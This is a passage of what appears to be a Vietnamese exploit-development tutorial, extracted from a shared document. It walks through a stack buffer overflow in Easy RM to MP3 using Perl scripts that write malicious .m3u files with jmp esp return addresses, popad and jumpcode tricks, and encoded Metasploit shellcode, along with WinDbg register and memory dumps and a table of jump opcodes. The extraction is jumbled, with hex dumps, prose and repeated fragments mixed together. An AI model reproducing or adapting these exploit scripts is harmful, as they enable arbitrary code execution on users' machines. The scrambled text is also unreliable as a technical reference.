AAAAAAAAAAAAAAAA 000ff840 41 41 90 90 90 90 90 90-90 90 90 90 90 90 90 90 AA Author : Hà Bách Nam and Nguyễn Kim Thụy 19 5T4 – Private Only 000ff850 000ff860 000ff870 000ff880 000ff890 90 90 90 41 41 90 90 90 41 41 90 90 90 41 41 90 90 90 41 41 90 90 cc 41 41 90 90 41 41 41 90 90 41 41 41 90-90 90-90 41-41 41-41 41-41 90 90 41 41 41 90 90 41 41 41 90 90 41 41 41 90 90 41 41 41 90 90 41 41 41 90 90 41 41 41 90 90 41 41 41 AAAAAAAAAAA AAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA Cuối ghi đè EIP với jmp esp, quay lại phần ta làm địa 0x01ccf23a Tóm lại, điều xảy overflow: Shellcode thực đặt phần đầu chuỗi, kết thúc ESP+300 Shellcode thực cách số NOP cho phép nhảy số bit EIP bị ghi đè với địa 0x01ccf23a, trỏ tới jmp esp Data sau EIP bị ghi đè với jumpcode thêm 282 vào ESP nhảy đến Khi payload gửi, EIP jump to esp, nhảy tới ESP+282, Nop bỏ qua, shellcode thực Sử dụng break thay cho shellcode: my $file= "test1.m3u"; my $buffersize = 26094; my $junk= "A" x 250; my $nop = "\x90" x 50; my $shellcode = "\xcc"; #position 300 my $restofbuffer = "A" x ($buffersize-(length($junk)+length($nop)+length($shellcode))); my $eip = pack('V',0x01ccf23a); my $preshellcode = "X" x 4; my $jumpcode = "\x83\xc4\x5e" "\x83\xc4\x5e" "\x83\xc4\x5e" "\xff\xe4"; #jmp esp from MSRMCcodec02.dll #add #add #add #jmp esp,0x5e esp,0x5e esp,0x5e esp my $buffer = $junk.$nop.$shellcode.$restofbuffer; print "Size of buffer : ".length($buffer)."\n"; open($FILE,">$file"); print $FILE $buffer.$eip.$preshellcode.$jumpcode; close($FILE); print "m3u File Created successfully\n"; EIP = 0x000ff874 = begin of shellcode (d5c.c64): Break instruction exception - code 80000003 (!!! second chance !!!) eax=00000001 ebx=00104a58 ecx=7c91005d edx=00000040 esi=77c5fce0 edi=00006608 eip=000ff874 esp=000ff84a ebp=003440c0 iopl=0 nv up ei pl nz ac po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212 Missing image name, possible paged-out or corrupt data Missing image name, possible paged-out or corrupt data Missing image name, possible paged-out or corrupt data +0xff863: 000ff874 cc int 0:000> d esp 000ff84a 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 000ff85a 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 000ff86a 90 90 90 90 90 90 90 90-90 90 cc 41 41 41 41 41 AAAAA 000ff87a 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000ff88a 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000ff89a 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA Author : Hà Bách Nam and Nguyễn Kim Thụy 20 5T4 – Private Only 000ff8aa 000ff8ba 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA Thay shellcode thực sự, thay A NOP: my $file= "test1.m3u"; my $buffersize = 26094; my $junk= "\x90" x 200; my $nop = "\x90" x 50; # windows/exec - 303 bytes # http://www.metasploit.com # Encoder: x86/alpha_upper # EXITFUNC=seh, CMD=calc my $shellcode = "\x89\xe2\xd9\xeb\xd9\x72\xf4\x5b\x53\x59\x49\x49\x49\x49" "\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" "\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" "\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" "\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4d" "\x38\x51\x54\x45\x50\x43\x30\x45\x50\x4c\x4b\x51\x55\x47" "\x4c\x4c\x4b\x43\x4c\x44\x45\x43\x48\x43\x31\x4a\x4f\x4c" "\x4b\x50\x4f\x45\x48\x4c\x4b\x51\x4f\x51\x30\x45\x51\x4a" "\x4b\x50\x49\x4c\x4b\x46\x54\x4c\x4b\x45\x51\x4a\x4e\x46" "\x51\x49\x50\x4a\x39\x4e\x4c\x4b\x34\x49\x50\x44\x34\x45" "\x57\x49\x51\x49\x5a\x44\x4d\x45\x51\x48\x42\x4a\x4b\x4c" "\x34\x47\x4b\x50\x54\x51\x34\x45\x54\x44\x35\x4d\x35\x4c" "\x4b\x51\x4f\x51\x34\x43\x31\x4a\x4b\x42\x46\x4c\x4b\x44" "\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a\x4b\x4c" "\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4b\x39\x51\x4c\x46" "\x44\x45\x54\x48\x43\x51\x4f\x46\x51\x4c\x36\x43\x50\x50" "\x56\x43\x54\x4c\x4b\x47\x36\x46\x50\x4c\x4b\x47\x30\x44" "\x4c\x4c\x4b\x42\x50\x45\x4c\x4e\x4d\x4c\x4b\x43\x58\x44" "\x48\x4d\x59\x4c\x38\x4d\x53\x49\x50\x42\x4a\x46\x30\x45" "\x38\x4c\x30\x4c\x4a\x45\x54\x51\x4f\x42\x48\x4d\x48\x4b" "\x4e\x4d\x5a\x44\x4e\x50\x57\x4b\x4f\x4b\x57\x42\x43\x43" "\x51\x42\x4c\x45\x33\x45\x50\x41\x41"; my $restofbuffer = "\x90" x ($buffersize-(length($junk)+length($nop)+length($shellcode))); my $eip = pack('V',0x01ccf23a); #jmp esp from MSRMCcodec02.dll my $preshellcode = "X" x 4; my $jumpcode = "\x83\xc4\x5e" "\x83\xc4\x5e" "\xff\xe4"; my $nop2 = "0x90" x 10; #add esp,0x5e #add esp,0x5e #jmp esp # only used to visually separate my $buffer = $junk.$nop.$shellcode.$restofbuffer; print "Size of buffer : ".length($buffer)."\n"; open($FILE,">$file"); print $FILE $buffer.$eip.$preshellcode.$jumpcode; close($FILE); print "m3u File Created successfully\n"; Author : Hà Bách Nam and Nguyễn Kim Thụy 21 5T4 – Private Only pwned again :-) Một số cách nhảy khác Popad: lệnh giúp nhảy tới shellcode tốt popad (pop all double) lấy double words từ stack (ESP) vào đa lần Thứ tự ghi nạp là: EDI, ESI, EBP, EBX, EDX, ECX EAX Kết ESP tăng lên sau lần load vào, popad lấy 32bytes từ ESP đặt vào ghi theo thứ tự Popad có opcode 0x61 Giả sử bạn cần nhảy 40bytes, mà có vài bytes thực lệnh nhảy, dùng 2popad để trỏ ESP tới shellcode ( với vài bytes NOP để bù vào 2x32 – 40) Bây sử dụng Easy RM to MP3 để demo kỹ thuật Vẫn sử dụng script cũ, xây dựng buffer giả 13 X, số bytes rác ( D A), đến shellcode ( NOP+A) my $file= "test1.m3u"; my $buffersize = 26094; my $junk= "A" x 250; my $nop = "\x90" x 50; my $shellcode = "\xcc"; Author : Hà Bách Nam and Nguyễn Kim Thụy 22 5T4 – Private Only my $restofbuffer = +length($shellcode))); "A" my $eip = "BBBB"; my $preshellcode = "X" x 17; available my $garbage = "\x44" x 100; jump over x ($buffersize-(length($junk)+length($nop) #let's pretend this is the only space we have #let’s pretend this is the space we need to my $buffer = $junk.$nop.$shellcode.$restofbuffer; print "Size of buffer : ".length($buffer)."\n"; open($FILE,">$file"); print $FILE $buffer.$eip.$preshellcode.$garbage; close($FILE); print "m3u File Created successfully\n"; Mở file Easy RM to MP3, appication die, ESP sau: First chance exceptions are reported before any exception handling This exception may be expected and handled eax=00000001 ebx=00104a58 ecx=7c91005d edx=003f0000 esi=77c5fce0 edi=0000666d eip=42424242 esp=000ff730 ebp=00344158 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206 Missing image name, possible paged-out or corrupt data Missing image name, possible paged-out or corrupt data Missing image name, possible paged-out or corrupt data +0x42424231: 42424242 ?? ??? 0:000> d esp 000ff730 58 58 58 58 58 58 58 58-58 58 58 58 58 44 44 44 XXXXXXXXXXXXXDDD | => 13 bytes 000ff740 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD | => garbage 000ff750 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD | => garbage 000ff760 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD | => garbage 000ff770 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD | => garbage 000ff780 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD | => garbage 000ff790 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD | => garbage 000ff7a0 00 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAA | => garbage 0:000> d 000ff7b0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA | => garbage 000ff7c0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA | => garbage 000ff7d0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA | => garbage 000ff7e0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA | => garbage 000ff7f0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA | => garbage Author : Hà Bách Nam and Nguyễn Kim Thụy 23 5T4 – Private Only 000ff800 41 41 41 41 | => garbage 000ff810 41 41 41 41 | => garbage 000ff820 41 41 41 41 | => garbage 0:000> d 000ff830 41 41 41 41 | => garbage 000ff840 41 41 90 90 | => garbage 000ff850 90 90 90 90 | => NOPS/Shellcode 000ff860 90 90 90 90 | => NOPS/Shellcode 000ff870 90 90 90 90 | => NOPS/Shellcode 000ff880 41 41 41 41 | => NOPS/Shellcode 000ff890 41 41 41 41 | => NOPS/Shellcode 000ff8a0 41 41 41 41 | => NOPS/Shellcode 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 90 90 90 90-90 90 90 90 90 90 90 90 AA 90 90 90 90-90 90 90 90 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 cc 41 41 41-41 41 41 41 41 41 41 41 .AAAAAAAAAAA 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA Giả sử có 13X để sử dụng ( đặt popad đây) để nhảy qua 100 D 160 A, tổng cộng 260bytes đến shellcode ( bắt đầu NOP đến break cc đến A) Một popad = 32bytes, 260bytes = 9popad ( 28bytes), cần phải bắt đầu shellcode với NOPs, bắt đầu shellcode cách 28bytes Trường hợp đặt NOP trước Trước tiên ghi đè EIP với “jmp esp” ( xem lại phần trước) Sau đó, thay X popad, tiếp đến opcode “jmp esp” (0xff,0xe4) my $file= "test1.m3u"; my $buffersize = 26094; my $junk= "A" x 250; my $nop = "\x90" x 50; my $shellcode = "\xcc"; my $restofbuffer = +length($shellcode))); "A" my $eip = pack('V',0x01ccf23a); x ($buffersize-(length($junk)+length($nop) #jmp esp from MSRMCcodec02.dll my $preshellcode = "X" x 4; # needed to point ESP at next 13 bytes below $preshellcode=$preshellcode."\x61" x 9; #9 popads $preshellcode=$preshellcode."\xff\xe4"; #10th and 11th byte, jmp esp $preshellcode=$preshellcode."\x90\x90\x90"; #fill rest with some nops my $garbage = "\x44" x 100; #garbage to jump over my $buffer = $junk.$nop.$shellcode.$restofbuffer; print "Size of buffer : ".length($buffer)."\n"; open($FILE,">$file"); print $FILE $buffer.$eip.$preshellcode.$garbage; Author : Hà Bách Nam and Nguyễn Kim Thụy 24 5T4 – Private Only close($FILE); print "m3u File Created successfully\n"; Sau ứng dụng crash, dừng điểm break, ESP EIP sau: (f40.5f0): Break instruction exception - code 80000003 (first chance) eax=90909090 ebx=90904141 ecx=90909090 edx=90909090 esi=41414141 edi=41414141 eip=000ff874 esp=000ff850 ebp=41414141 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 Missing image name, possible paged-out or corrupt data Missing image name, possible paged-out or corrupt data Missing image name, possible paged-out or corrupt data +0xff863: 000ff874 cc int 0:000> d eip 000ff874 cc 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAA 000ff884 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000ff894 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000ff8a4 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000ff8b4 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000ff8c4 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000ff8d4 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000ff8e4 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0:000> d eip-32 000ff842 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 000ff852 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 000ff862 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 000ff872 90 90 cc 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAA 000ff882 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000ff892 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000ff8a2 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000ff8b2 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0:000> d esp 000ff850 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 000ff860 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 000ff870 90 90 90 90 cc 41 41 41-41 41 41 41 41 41 41 41 .AAAAAAAAAAA 000ff880 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000ff890 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000ff8a0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000ff8b0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000ff8c0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA Popad làm việc đặt ESP NOP shellcode, sau thực “jmp esp” (0xff 0xe4) làm EIP trỏ tới NOP Thay A shellcode thực sự: Author : Hà Bách Nam and Nguyễn Kim Thụy 25 5T4 – Private Only pnwed again ! Một cách khác ( ưa thích có khả năng) nhảy đến shellcode jumpcode sử dụng địa ( offset ghi) Từ mà địa chỉ/ ghi khác chương trình thực thi cách hiệu Vì vậy, để tiến hành hardcode địa offset ghi, bạn cần tìm opcode để nhảy, sau đó, sử dụng opcode đoạn buffer nhỏ để nhảy tới shellcode thực bạn Dưới ví dụ giúp bạn tìm opcode: jump to 0x12345678 0:000> a 7c90120e jmp 12345678 jmp 12345678 7c901213 0:000> u 7c90120e ntdll!DbgBreakPoint: 7c90120e e96544a495 jmp 12345678 => opcode is 0xe9,0x65,0x44,0xa4,0x95 Author : Hà Bách Nam and Nguyễn Kim Thụy 26 5T4 – Private Only jump to ebx+124h 0:000> a 7c901214 add ebx,124 add ebx,124 7c90121a jmp ebx jmp ebx 7c90121c 0:000> u 7c901214 ntdll!DbgUserBreakPoint+0x2: 7c901214 81c324010000 add 7c90121a ffe3 jmp ebx,124h ebx Opcode 0x81,0xc3,0x24,0x01,0x00,0x00 (add ebx 124h) 0xff,0xe3 (jmp ebx) Nhảy ngắn nhảy có điều kiện Trong trường hợp bạn cần nhảy qua vài bytes, bạn dùng kỹ thuật “short jump” để thực hiện: short jump : (jmp) : opcode 0xeb, theo sau số bytes cần nhảy Ví dụ, muốn nhảy 30 bytes, the opcode 0xeb,0x1e Trong trường hợp bạn muốn nhảy có điều kiện ( điều kiện đáp ứng), bạn sử dụng conditional (short/near) jump Kỹ thuật sử dụng trạng thái ghi cờ EFLAGS (CF,OF,PF,SF ZF) Nếu cờ trạng thái đặc biệt ( điều kiện), làm cho nhảy đến mục tiêu theo toán hạng đích Ví dụ: giả sử bạn muốn nhảy 6bytes, nhìn vào cờ ( ollydbg) trạng thái cờ, bạn dùng opcode sau: Nếu cờ Zero 1, bạn dùng opcode 0x74, số bytes cần nhảy, 0x06 ví dụ Bảng opcode lệnh nhảy cờ: Code Mnemonic Description 77 cb JA rel8 Jump short if above (CF=0 and ZF=0) 73 cb JAE rel8 Jump short if above or equal (CF=0) 72 cb JB rel8 Jump short if below (CF=1) 76 cb JBE rel8 Jump short if below or equal (CF=1 or ZF=1) Author : Hà Bách Nam and Nguyễn Kim Thụy 27 5T4 – Private Only 72 cb JC rel8 Jump short if carry (CF=1) E3 cb JCXZ rel8 Jump short if CX register is E3 cb JECXZ rel8 Jump short if ECX register is 74 cb JE rel8 Jump short if equal (ZF=1) 7F cb JG rel8 Jump short if greater (ZF=0 and SF=OF) 7D cb JGE rel8 Jump short if greater or equal (SF=OF) 7C cb JL rel8 Jump short if less (SFOF) 7E cb JLE rel8 Jump short if less or equal (ZF=1 or SFOF) 76 cb JNA rel8 Jump short if not above (CF=1 or ZF=1) 72 cb JNAE rel8 Jump short if not above or equal (CF=1) 73 cb JNB rel8 Jump short if not below (CF=0) 77 cb JNBE rel8 Jump short if not below or equal (CF=0 and ZF=0) 73 cb JNC rel8 Jump short if not carry (CF=0) 75 cb JNE rel8 Jump short if not equal (ZF=0) 7E cb JNG rel8 Jump short if not greater (ZF=1 or SFOF) 7C cb JNGE rel8 Jump short if not greater or equal (SFOF) 7D cb JNL rel8 Jump short if not less (SF=OF) 7F cb JNLE rel8 Jump short if not less or equal (ZF=0 and SF=OF) 71 cb JNO rel8 Jump short if not overflow (OF=0) 7B cb JNP rel8 Jump short if not parity (PF=0) 79 cb JNS rel8 Jump short if not sign (SF=0) 75 cb JNZ rel8 Jump short if not zero (ZF=0) 70 cb JO rel8 Jump short if overflow (OF=1) 7A cb JP rel8 Jump short if parity (PF=1) Author : Hà Bách Nam and Nguyễn Kim Thụy 28 5T4 – Private Only 7A cb JPE rel8 Jump short if parity even (PF=1) 7B cb JPO rel8 Jump short if parity odd (PF=0) 78 cb JS rel8 Jump short if sign (SF=1) 74 cb JZ rel8 Jump short if zero (ZF = 1) 0F 87 cw/cd JA rel16/32 Jump near if above (CF=0 and ZF=0) 0F 83 cw/cd JAE rel16/32 0F 82 cw/cd JB rel16/32 Jump near if below (CF=1) 0F 86 cw/cd ZF=1) JBE rel16/32 0F 82 cw/cd JC rel16/32 Jump near if carry (CF=1) 0F 84 cw/cd JE rel16/32 Jump near if equal (ZF=1) 0F 84 cw/cd JZ rel16/32 Jump near if (ZF=1) 0F 8F cw/cd JG rel16/32 Jump near if greater (ZF=0 and SF=OF) 0F 8D cw/cd JGE rel16/32 0F 8C cw/cd JL rel16/32 Jump near if less (SFOF) 0F 8E cw/cd SFOF) JLE rel16/32 Jump near if less or equal (ZF=1 or 0F 86 cw/cd JNA rel16/32 Jump near if not above (CF=1 or ZF=1) 0F 82 cw/cd JNAE rel16/32 Jump near if not above or equal (CF=1) 0F 83 cw/cd JNB rel16/32 Jump near if not below (CF=0) 0F 87 cw/cd and ZF=0) JNBE rel16/32 Jump near if not below or equal (CF=0 0F 83 cw/cd JNC rel16/32 Jump near if not carry (CF=0) 0F 85 cw/cd JNE rel16/32 Jump near if not equal (ZF=0) Jump near if above or equal (CF=0) Jump near if below or equal (CF=1 or Jump near if greater or equal (SF=OF) Author : Hà Bách Nam and Nguyễn Kim Thụy 29 5T4 – Private Only 0F 8E cw/cd SFOF) JNG rel16/32 Jump near if not greater (ZF=1 or 0F 8C cw/cd (SFOF) JNGE rel16/32 Jump near if not greater or equal 0F 8D cw/cd JNL rel16/32 Jump near if not less (SF=OF) 0F 8F cw/cd SF=OF) JNLE rel16/32 Jump near if not less or equal (ZF=0 and 0F 81 cw/cd JNO rel16/32 Jump near if not overflow (OF=0) 0F 8B cw/cd JNP rel16/32 Jump near if not parity (PF=0) 0F 89 cw/cd JNS rel16/32 Jump near if not sign (SF=0) 0F 85 cw/cd JNZ rel16/32 Jump near if not zero (ZF=0) 0F 80 cw/cd JO rel16/32 Jump near if overflow (OF=1) 0F 8A cw/cd JP rel16/32 Jump near if parity (PF=1) 0F 8A cw/cd JPE rel16/32 Jump near if parity even (PF=1) 0F 8B cw/cd JPO rel16/32 Jump near if parity odd (PF=0) 0F 88 cw/cd JS rel16/32 Jump near if sign (SF=1) 0F 84 cw/cd JZ rel16/32 Jump near if (ZF=1) Dựa vào bảng, bạn nhảy ECX Trong trường hợp SEH, ghi bị xóa ngoại lệ xảy ra, bạn sử dụng opcode 0xe3 để nhảy (ECX = 00000000) Backward jumps Trong trường hợp bạn muốn nhảy ngược lại ( nhảy với offset làm số âm): lấy số nghịch đảo chuyển dạng hex Giá trị dword hex sử dụng argument cho jump (\xeb \xe9) Ví dụ : jump back bytes : -7 = FFFFFFF9, là: "\xeb\xf9\xff\xff" Author : Hà Bách Nam and Nguyễn Kim Thụy jump -7 30 5T4 – Private Only Ví dụ nữa: jump back 400 bytes : -400 = FFFFFE70, jump -400 bytes = "\xe9\x70\xfe\xff\xff" ( bạn thấy opcode dài 4bytes, dword size (4 byte limit), bạn cần thực nhiều bước nhảy để chia nhỏ bước nhảy ra) Author : Hà Bách Nam and Nguyễn Kim Thụy 31 ... 00-83 c6-5f 90-90 33-c0 90-90 39- 32 8b-4c 00-00 44 -24 14-7a 2f- 32 2f- 32 2f- 32 b3-83 e7-54 63-3b 86-77 ff-4f ff-00 8b f8 5e 90 5b 90 73 24 00 04 f9 f2 f2 f2 c3 c3 44 42 bd 6c 5c 06 5d 90 64 90 09 54... shellcode thực bạn Dưới ví dụ giúp bạn tìm opcode: jump to 0x 123 45678 0:000> a 7c90 120 e jmp 123 45678 jmp 123 45678 7c90 121 3 0:000> u 7c90 120 e ntdll!DbgBreakPoint: 7c90 120 e e96544a495 jmp 123 45678... ebx 7c90 121 c 0:000> u 7c90 121 4 ntdll!DbgUserBreakPoint+0x2: 7c90 121 4 81c 324 010000 add 7c90 121 a ffe3 jmp ebx, 124 h ebx Opcode 0x81,0xc3,0x24,0x01,0x00,0x00 (add ebx 124 h) 0xff,0xe3 (jmp ebx) Nhảy

Ngày đăng: 19/06/2017, 16:32

Từ khóa liên quan

Tài liệu cùng người dùng

Tài liệu liên quan